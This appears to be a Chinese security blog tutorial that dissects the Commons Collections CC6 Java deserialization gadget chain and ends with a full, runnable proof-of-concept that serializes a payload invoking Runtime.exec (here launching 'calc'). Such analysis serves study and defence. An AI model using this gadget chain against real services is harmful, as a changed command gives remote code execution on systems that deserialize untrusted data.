CommonsCollections6利用链分析

CommonsCollections6利用链分析

原理

先来看 ysoserial 中的利用链:

/*
    Gadget chain:
        java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

    by @matthias_kaiser
*/

可以看到,CC6链从LazyMap类开始的后半部分和CC1链是相同的,只是前面没有使用AnnotationInvocationHandler类readObject()的作为反序列化的入口了,从而解决了在java 8u71 版本之后无法使用CC1链的问题。CC6链的前半部分和URLDNS链比较像,都是利用了HashMap类在计算hash值时调用 key.hashCode()的方式,从而进入到 TiedMapEntry.getValue()方法,再到LazyMap.get()的。

代码分析

TiedMapEntry

首先我们从LazyMap.get() 这里开始向上找,希望找到一个调用了 Map.get() 方法的函数,这里的Map需要可控。我们找到的类是 org.apache.commons.collections.keyvalue.TiedMapEntry ,在其getValue()⽅法中调⽤了 this.map.get() ,⽽其hashCode()⽅法调⽤了getValue()⽅法:

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {

    private static final long serialVersionUID = -8453869361373831205L;

    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }

    // ...

    public Object getValue() {
        return map.get(key);
    }

    // ...

    public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

    // ...
}

HashMap

所以我们需要接着找能够调用 TiedMapEntry.hashCode() 的方法,这时候就想起URLDNS链是通过HashMap在反序列化时候其readObject()函数会循环每一个键值对放入到HashMap中,而在放入每一个键值对的时候会计算key(hash)值,从而触发key.hashCode()方法:

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {

    // ...

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
            K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
            V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

这里跟进12行的hash(key)值:

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

可以看到第三行key不为空的时候就会去调用用 key.hashCode(),这时候我们只需要把 key 设置为构造好的 TiedMapEntry 对象就可以实现任意代码执行了。

此时构造好的POC:

public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[] { String.class, Class[].class },
                        new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke",
                        new Class[] { Object.class, Object[].class },
                        new Object[]{ null, new Object[0]} ),
                new InvokerTransformer("exec",
                        new Class[] { String.class },
                        new String[] { "calc" }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

注意事项

这里值得一提的是,这里在一开始实例化transformerChain对象的时候并没有使用我们构造好的transformers,而是用了人畜无害的fakeTransformers对象,这是因为我们在24行使用 expMap.put(tme, "valuevalue") 将构造好的 TiedMapEntry 对象放进 HashMap的时候就要触发一次 hash(key)进而触发一次这一条链弹出计算器,这里使用fakeTransformers就能够在即使触发了整条链也不会在自己电脑上执行了恶意代码(当然只是弹计算器的话就无所谓啦,然后在把TiedMapEntry 对象放进 HashMap之后再用反射去将里面的transformers换回真正要执行的对象。

// 将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain,transformers);

但是此时测试就会发现,反序列化的时候并不会触发这条链,这是怎么回事呢?这里还是跟24行的 expMap.put(tme, "valuevalue");有有关。我们先来调试一下,在 expMap.put(tme, "valuevalue"); 打下断点:

image-20220309175026078

步入,跟着我们构造好的整条利用链去调:

expMap.put(tme, "valuevalue") ==> TiedMapEntry.hashCode() ==> TiedMapEntry.getValue() ==> LazyMap.get(key);
image-20220309180319417

到了LazyMap.get(key); 这一步的时候,这里有一个判断,我们传入的map,也就是上面的innerMap中是否有这个key存在,此时这个innerMap里面啥都没放呢,那肯定是没有的,因此就会进入到循环中:先触发一次factory.transform(key),这里的factory也就是构造LazyMap时候传入的Transformer,从而先触发一次利用链,这里就是上面使用fakeTransformer的根源;然后再到map.put(key,value),这里会把我们传入的key(示例的值是keykey)放到innerMap中,导致了反序列化再碰到这个if 判断的时候会判断这个map里面是有这个key存在的,因此就不会执行到里面的 factory.transform(key) ,进而无法触发利用链。

解决办法也很简单,我们在expMap.put(tme, "valuevalue") 执行完之后在把innerMap里面的keyremove()删掉即可,因此最终的POC为:

/*
 Gadget chain:
 java.io.ObjectInputStream.readObject()
 java.util.HashMap.readObject()
 java.util.HashMap.hash()

org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
 org.apache.commons.collections.map.LazyMap.get()

org.apache.commons.collections.functors.ChainedTransformer.transform()

org.apache.commons.collections.functors.InvokerTransformer.transform()
 java.lang.reflect.Method.invoke()
 java.lang.Runtime.exec()
*/

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[] { String.class, Class[].class },
                        new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke",
                        new Class[] { Object.class, Object[].class },
                        new Object[]{ null, new Object[0]} ),
                new InvokerTransformer("exec",
                        new Class[] { String.class },
                        new String[] { "calc" }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        innerMap.remove("keykey");
//        System.out.println(outerMap.isEmpty());

        // ==============
        // 将真正的transformers数组设置进来
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain,transformers);

        // ==============
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oss = new ObjectOutputStream(barr);
        oss.writeObject(expMap);
        oss.close();

        // 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

总结

最后还是用图解来解释下整条链:

image-20220309183224914

利用过程在原理部分和代码分析部分分别简略和详细地分析了一遍,这里不再赘述了。

参考资料

ysoserial之Commons-Collections6链

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇